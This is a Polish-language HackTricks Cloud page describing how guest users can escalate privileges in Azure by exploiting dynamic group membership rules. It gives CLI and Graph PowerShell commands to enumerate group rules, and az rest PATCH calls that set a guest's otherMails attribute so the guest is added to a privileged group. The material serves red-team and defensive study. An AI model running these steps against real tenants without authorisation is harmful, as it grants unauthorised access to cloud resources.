Az - Dynamic Groups Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Dynamic groups to grupy, dla których skonfigurowano zestaw reguł, i wszyscy użytkownicy lub urządzenia spełniający te reguły są dodawani do grupy. Za każdym razem, gdy atrybut użytkownika lub urządzenia zostanie zmieniony, reguły dynamiczne są ponownie sprawdzane. A kiedy zostanie utworzona nowa reguła, wszystkie urządzenia i użytkownicy są sprawdzani.
Do Dynamic groups można przypisać Azure RBAC roles, ale nie jest możliwe dodanie AzureAD roles do Dynamic groups.
Ta funkcja wymaga licencji Azure AD premium P1.
Privesc
Zwróć uwagę, że domyślnie każdy użytkownik może zapraszać gości w Azure AD, więc jeśli reguła Dynamic groups nadaje uprawnienia użytkownikom na podstawie atrybutów, które można ustawić w nowym gościu, możliwe jest utworzenie gościa z tymi atrybutami i eskalacja uprawnień. Gość może również zarządzać swoim profilem i zmieniać te atrybuty.
Pobierz grupy, które pozwalają na Dynamic membership: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Enumeracja Dynamic Groups
Pobierz reguły Dynamic groups:
Przy użyciu Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
Za pomocą PowerShell i Microsoft Graph SDK:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Przykład
- Przykład reguły:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Opis reguły: Każdy użytkownik typu Guest, który ma dodatkowy adres e-mail zawierający ciąg ‘security’, zostanie dodany do grupy
Dla adresu e-mail użytkownika typu Guest, zaakceptuj zaproszenie i sprawdź bieżące ustawienia tego użytkownika w https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Niestety strona nie pozwala na modyfikację wartości atrybutów, więc musimy użyć API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Źródła
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

